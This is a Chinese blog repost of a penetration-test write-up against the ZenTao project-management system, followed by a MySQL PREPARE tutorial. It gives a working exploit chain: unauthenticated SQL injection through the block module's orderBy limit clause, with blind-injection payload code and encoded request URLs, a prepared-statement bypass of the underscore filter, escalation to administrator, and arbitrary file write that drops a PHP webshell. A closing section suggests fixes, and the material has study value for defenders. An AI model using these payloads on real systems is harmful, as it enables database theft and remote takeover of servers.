A-A+

[转]从SQL注入到Getshell:记一次禅道系统的渗透

2018年07月17日 15:57 汪洋大海 暂无评论 共11232字 (阅读1,710 views次)

说明:本栏目“汪洋大海”栏目,所有的文章都是转载,重要的话说三遍。“汪洋大海”这个栏目下的文章都是转载。“汪洋大海”这个栏目下的文章都是转载。“汪洋大海”这个栏目下的文章都是转载。

此过程为某站点的渗透记录,过程一波三折,但归根结底都是粗心大意造成的,不过自我认为在这个排坑的过程中也学习到了很多。

确认版本

首先可以通过接口来确认一下当前禅道的版本。

http://example.com/index.php?mode=getconfig

preview
ff

SQL注入分析

网上之前有过一个9.1.2orderBy函数的分析,但是没想到9.2.1也存在此问题,(2018.3.2号看到目前最新版本是9.8.1)。

出问题的地方是此文件的orderBy函数:\lib\base\dao\dao.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public function orderBy($order)
{
    if($this->inCondition and !$this->conditionIsTrue) return $this;
 
    $order = str_replace(array('|', '', '_'), ' ', $order);
 
    /* Add "`" in order string. */
    /* When order has limit string. */
    $pos    = stripos($order, 'limit');
    $orders = $pos ? substr($order, 0, $pos) : $order;
    $limit  = $pos ? substr($order, $pos) : '';
    $orders = trim($orders);
    if(empty($orders)) return $this;
    if(!preg_match('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', 
$orders)) die("Order is bad request, The order is $orders");
 
    $orders = explode(',', $orders);
    foreach($orders as $i => $order)
    {
        $orderParse = explode(' ', trim($order));
        foreach($orderParse as $key => $value)
        {
            $value = trim($value);
            if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;
 
            $field = $value;
            /* such as t1.id field. */
            if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
            if(strpos($field, '`') === false) $field = "`$field`";
 
            $orderParse[$key] = isset($table) ? $table . '.' . $field :  $field;
            unset($table);
        }
        $orders[$i] = join(' ', $orderParse);
        if(empty($orders[$i])) unset($orders[$i]);
    }
    $order = join(',', $orders) . ' ' . $limit;
 
    $this->sql .= ' ' . DAO::ORDERBY . " $order";
    return $this;
}

对于limit后未做严格的过滤与判断,然后拼接到了order by后面导致产生注入.

$order = join(',', $orders) . ' ' . $limit;

看了一下9.8.1的修补是对limit进行正则限制,但是事实上感觉此处正则是写了一个bug,比如正常调用orderBy($order)的时候,其中$orderabc desc limit 1,1的时候,进入$limit则是limit 1,1,导致匹配失败。

/* Add "`" in order string. */
/* When order has limit string. */
$pos    = stripos($order, 'limit');
$orders = $pos ? substr($order, 0, $pos) : $order;
$limit  = $pos ? substr($order, $pos) : '';
if($limit and !preg_match('/^[0-9]+ *(, *[0-9]+)?$/', $limit)) $limit = '';

如果想要造成前台注入(无需登录)的话,就得先看看禅道开放了哪些接口,看是否有调用orderBy函数。

\zentao\module\common\model.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function isOpenMethod($module, $method)
{
   if($module == 'user' and strpos('login|logout|deny|reset', $method) !== false) return true;
   if($module == 'api'  and $method == 'getsessionid') return true;
   if($module == 'misc' and $method == 'ping')  return true;
   if($module == 'misc' and $method == 'checktable') return true;
   if($module == 'misc' and $method == 'qrcode') return true;
   if($module == 'misc' and $method == 'about') return true;
   if($module == 'misc' and $method == 'checkupdate') return true;
   if($module == 'misc' and $method == 'changelog') return true;
   if($module == 'sso' and $method == 'login')  return true;
   if($module == 'sso' and $method == 'logout') return true;
   if($module == 'sso' and $method == 'bind') return true;
   if($module == 'sso' and $method == 'gettodolist') return true;
   if($module == 'block' and $method == 'main') return true;
 
   if($this->loadModel('user')->isLogon() or ($this->app->company->guest and $this->app->user->account == 'guest'))
   {
       if(stripos($method, 'ajax') !== false) return true;
       if(stripos($method, 'downnotify') !== false) return true;
       if($module == 'tutorial') return true;
       if($module == 'block') return true;
       if($module == 'product' and $method == 'showerrornone') return true;
   }
   return false;
}

其中的if($module == 'block' and $method == 'main') return true;,也就是本次漏洞的主角,继续跟进。

\zentao\module\block\control.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class block extends control
{
    public function __construct($moduleName = '', $methodName = '')
    {
        parent::__construct($moduleName, $methodName);
        $this->selfCall = strpos($this->server->http_referer, common::getSysURL()) === 0 || $this->session->blockModule;
        if($this->methodName != 'admin' and $this->methodName != 'dashboard' and !$this->selfCall and !$this->loadModel('sso')->checkKey()) die('');
    }
    public function main($module = '', $id = 0)
    {
        ...
       $mode = strtolower($this->get->mode);
       if($mode == 'getblocklist')
       {   
           ...
       }   
       elseif($mode == 'getblockform')
       {   
           ...
       }   
       elseif($mode == 'getblockdata')
       {
           $code = strtolower($this->get->blockid);
 
           $params = $this->get->param;
           $params = json_decode(base64_decode($params));
            ....
           $this->viewType    = (isset($params->viewType) and $params->viewType == 'json') ? 'json' : 'html';
           $this->params      = $params;
           $this->view->code  = $this->get->blockid;
           $this->view->title = $this->get->blockTitle;
 
           $func = 'print' . ucfirst($code) . 'Block';
           if(method_exists('block', $func))
           {
               $this->$func($module);
           }
           else
           {
               $this->view->data = $this->block->$func($module, $params);
           }
       }
    }
}

首先看__construct中,$this->selfCall是在验证referer的值,如果为真的话则后面的if将不会进入die语句里面

接下来跟进main函数,可以看到最后的$func = 'print' . ucfirst($code) . 'Block';,会对一些函数进行调用,与此同时,我们搜索orderBy的调用的时候可以发现printCaseBlock函数的存在

\zentao\module\block\control.php

preview

所以前台注入的整个过程便比较清晰了,那么如何利用?

SQL注入利用

回过头来,因为禅道有windows直接的一键化安装程序,其数据库使用的也是root权限,导致可直接导出shell,但是如果没有这么高权限的时候,对于这个注入应该如何出数据。


sql = 'select user()'
param = '{"orderBy":"order limit 1;select (if(ord(mid((%s),%d,1))=%d,sleep(2),1))--","num":"1,1","type":"openedbyme"}' % (sql,n,i) ,1))--","num":"1,1","type":"openedbyme"}' % (sql,n,i) 

禅道是支持多语句的,这也为后面的利用提供方便。

注入出数据库名和表段名后,当我想继续注入出用户账号密码的时候,意外地发现没有出数据。

sql = 'select 12345 from zt_user'

还是没有出数据,猜测是管理员改了表前缀,所以想去通过information_schema查询一下表名,但是意外地发现,也不能读取?难道被删了?但是我还是想知道一下表前缀。

请求的时候加了一个单引号,并且加上referer,看一下报错信息。

http://example.com/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxJyIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0=

其中param经过BASE64解码得到
{"orderBy":"order limit 1,1'","num":"1,1","type":"openedbyme"}
preview

因为PDO的关系,SQL中的表名是%s替代的,所以未能够得到库名。

那么就利用报错去得到当前SQl语句里面查询的表名,比如利用polygon函数。

preview

此注入点可以理解为limit后的注入点,因为使用多语句的话,报错效果不明显,所以就直接在limit后面进行注入。

http://example.com/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxIFBST0NFRFVSRSBBTkFMWVNFKHBvbHlnb24oaWQpLDEpIyIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0=

param base64解码
{"orderBy":"order limit 1,1 PROCEDURE ANALYSE(polygon(id),1)#","num":"1,1","type":"openedbyme"}
preview

上图为本地测试,但是limit的注入和mysql版本还有一些关系,目前网上的payload仅限于低版本才可报错注入出数据,很不幸运的是,目标使用的是高版本mysql。

那既然可以多语句,在不能用information_schema的情况下,可以通过下面语法来进行盲注:

show table status where name = 'xxx' and sleep(2)

写到py里面的payload是这样的

sql = "show table status where hex(substr(name,1,8))='7a745f75736572%s' and sleep(2)" % binascii.b2a_hex(chr(i))
param = '{"orderBy":"order limit 1,1;%s--","num":"1,1","type":"openedbyme"}' % sql

经过一番折腾发现,表前缀就是默认的zt_,但是为啥又不能够读取到用户数据呢?

仔细看到禅道里面的orderBy函数,发现做了过滤。

$order = str_replace(array('|', '', '_'), ' ', $order);

把下划线给过滤掉了,那这种在多语句下,可以利用mysql的预查询来绕过,值得注意的是,这个版本语法大小写敏感。

SET @SQL=0x494E5345525420494E544F206D6F76696520286E616D652C20636F6E74656E74292056414C55455320282761616161272C27616161612729;
PREPARE pord FROM @SQL;
EXECUTE pord;
SET @SQL=0x494E5345525420494E544F206D6F76696520286E616D652C20636F6E74656E74292056414C55455320282761616161272C27616161612729;
PREPARE pord FROM @SQL;EXECUTE pord;

注入出admin密码的时候,惊喜地发现不能解开,无奈之下,只能先拿到一个普通账号。

Getshell

禅道在防止getshell方面还花了一点心思,曾经挖到一个可以任意写文件getshell(最新版本还存在这段代码),不过需要的权限是管理员权限。

看了一下禅道里面人员组织架构情况,有研发、项目经理、产品经理,高层管理,系统管理员等角色,其中系统管理员虽然密码解不开,但是我们可以去解密一下高层管理的密码,因为这个角色的权限是可以修改某用户的用户组权限。在高层管理账号中,我们可以将一个普通账号修改为管理员。

接下来就是写文件Getshell:

/xampp/zentaopro/module/api/control.php

public function getModel($moduleName, $methodName, $params = '')
{
    parse_str(str_replace(',', '&', $params), $params);
    $module = $this->loadModel($moduleName);
    
    $result = call_user_func_array(array(&$module, $methodName), $params);
    if(dao::isError()) die(json_encode(dao::getError()));
    $output['status'] = $result ? 'success' : 'fail';
    $output['data']   = json_encode($result);
    $output['md5']    = md5($output['data']);
    $this->output     = json_encode($output);
    die($this->output);
}

可以看到是进入了call_user_func_array,也就是我们可以任意实例化一个module方法,方法的参数也是可控的,可以通过,来分割参数。

/zentaopro/module/editor/model.php

public function save($filePath)
{
    $fileContent = $this->post->fileContent;
    $evils       = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
    $gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
    $fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
    if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);

    $dirPath = dirname($filePath);
    $extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
    if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
    if(is_writable($dirPath))
    {
        file_put_contents($filePath, $fileContent);
    }
    else
    {
        die(js::alert($this->lang->editor->notWritable . $extFilePath));
    }
}

在editor中是可以写一个文件的,filePath可控,fileContent也是可控的,这下就是可以任意写一个文件。

Exp:

http://example.com/?m=api&f=getModel&moduleName=editor&methodName=save&params=filePath=aaaaaa.php

POST内容:
fileContent=<?php $_POST[1]($_POST[2]);

最后的shell地址是\zentaopro\module\api\aaaaaa.php

但是问题又来了,前面报错里面得到的路径目录感觉像是做了权限(这里绕弯了,路径少加了一个www,所以以为是没权限写),最终从数据库中的zt_file获取上传文件的路径,然后再将shell写入当中才得以结束。

总结

对于order by的漏洞如何进行防御的时候,我觉得上面代码在部分上有可取之处。

1、去掉limit部分,然后限制格式

if(!preg_match('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders");

2、然后循环对每个字段进行反引号的添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$orders = explode(',', $orders);
foreach ($orders as $i => $order) {
	$orderParse = explode(' ', trim($order));
	foreach ($orderParse as $key => $value) {
		$value = trim($value);
		if (empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') {
			continue;
		}
 
		$field = $value;
		/* such as t1.id field. */
		if (strpos($value, '.') !== false) {
			list($table, $field) = explode('.', $field);
		}
 
		if (strpos($field, '`') === false) {
			$field = "`$field`";
		}
 
		$orderParse[$key] = isset($table) ? $table . '.' . $field : $field;
		unset($table);
	}
	$orders[$i] = join(' ', $orderParse);
	if (empty($orders[$i])) {
		unset($orders[$i]);
	}
 
}

整个过程就是自己在挖莫名其妙的坑,然后再一个个慢慢补上,希望能够对大家有用。
文章转载自:https://zhuanlan.zhihu.com/p/34275981 原作者:@L3m0n
---------------------------------------------------

其中涉及到了:mysql prepare语句使用
语法:


PREPARE statement_name FROM sql_text /*定义*/ 
EXECUTE statement_name [USING variable [,variable...]] /*执行预处理语句*/ 
DEALLOCATE PREPARE statement_name /*删除定义*/

示例:



mysql> PREPARE prod FROM "INSERT INTO examlple VALUES(?,?)"; 
mysql> SET @p='1'; 
mysql> SET @q='2'; 
mysql> EXECUTE prod USING @p,@q; 
mysql> SET @name='3'; 
mysql> EXECUTE prod USING @p,@name; 
mysql> DEALLOCATE PREPARE prod;

1.用变量做表名: 简单的用set或者declare语句定义变量,然后直接作为sql的表名是不行的,mysql会把变量名当作表名。在其他的sql数据库中也是如此,mssql的解决方法是将整条sql语句作为变量,其中穿插变量作为表名,然后用sp_executesql调用该语句。 这在mysql5.0之前是不行的,5.0之后引入了一个全新的语句,可以达到类似sp_executesql的功能(仅对procedure有效,function不支持动态查询):
PREPARE stmt_name FROM preparable_stmt;
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
{DEALLOCATE | DROP} PREPARE stmt_name;

为了有一个感性的认识,下面先给几个小例子:



mysql> PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse'; 
mysql> SET @a = 3; 
mysql> SET @b = 4; 
mysql> EXECUTE stmt1 USING @a, @b; 
+------------+ 
| hypotenuse | 
+------------+ 
| 5 | 
+------------+ 
mysql> DEALLOCATE PREPARE stmt1; 
mysql> SET @s = 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse'; 
mysql> PREPARE stmt2 FROM @s; 
mysql> SET @a = 6; 
mysql> SET @b = 8; 
mysql> EXECUTE stmt2 USING @a, @b; 
+------------+ 
| hypotenuse | 
+------------+ 
| 10 | 
+------------+ 
mysql> DEALLOCATE PREPARE stmt2;

----划重点------------
如果你的MySQL 版本是 5.0.7 或者更高的,你还可以在 LIMIT 子句中使用它,示例如下:


mysql> SET @a=1;
mysql> PREPARE STMT FROM "SELECT * FROM tbl LIMIT ?"; 
mysql> EXECUTE STMT USING @a; 
mysql> SET @skip=1; SET @numrows=5; 
mysql> PREPARE STMT FROM "SELECT * FROM tbl LIMIT ?, ?"; 
mysql> EXECUTE STMT USING @skip, @numrows;

使用 PREPARE 的几个注意点:
A:PREPARE stmt_name FROM preparable_stmt;预定义一个语句,并将它赋给 stmt_name ,tmt_name 是不区分大小写的。
B: 即使 preparable_stmt 语句中的 ? 所代表的是一个字符串,你也不需要将 ? 用引号包含起来。
C: 如果新的 PREPARE 语句使用了一个已存在的 stmt_name ,那么原有的将被立即释放! 即使这个新的 PREPARE 语句因为错误而不能被正确执行。
D: PREPARE stmt_name 的作用域是当前客户端连接会话可见。
E: 要释放一个预定义语句的资源,可以使用 DEALLOCATE PREPARE 句法。
F: EXECUTE stmt_name 句法中,如果 stmt_name 不存在,将会引发一个错误。
G: 如果在终止客户端连接会话时,没有显式地调用 DEALLOCATE PREPARE 句法释放资源,服务器端会自己动释放它。
H: 在预定义语句中,CREATE TABLE, DELETE, DO, INSERT, REPLACE, SELECT, SET, UPDATE, 和大部分的 SHOW 句法被支持。
I: PREPARE 语句不可以用于存储过程,自定义函数!但从 MySQL 5.0.13 开始,它可以被用于存储过程,仍不支持在函数中使用!
详细出处参考:http://www.jb51.net/article/7032.htm

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言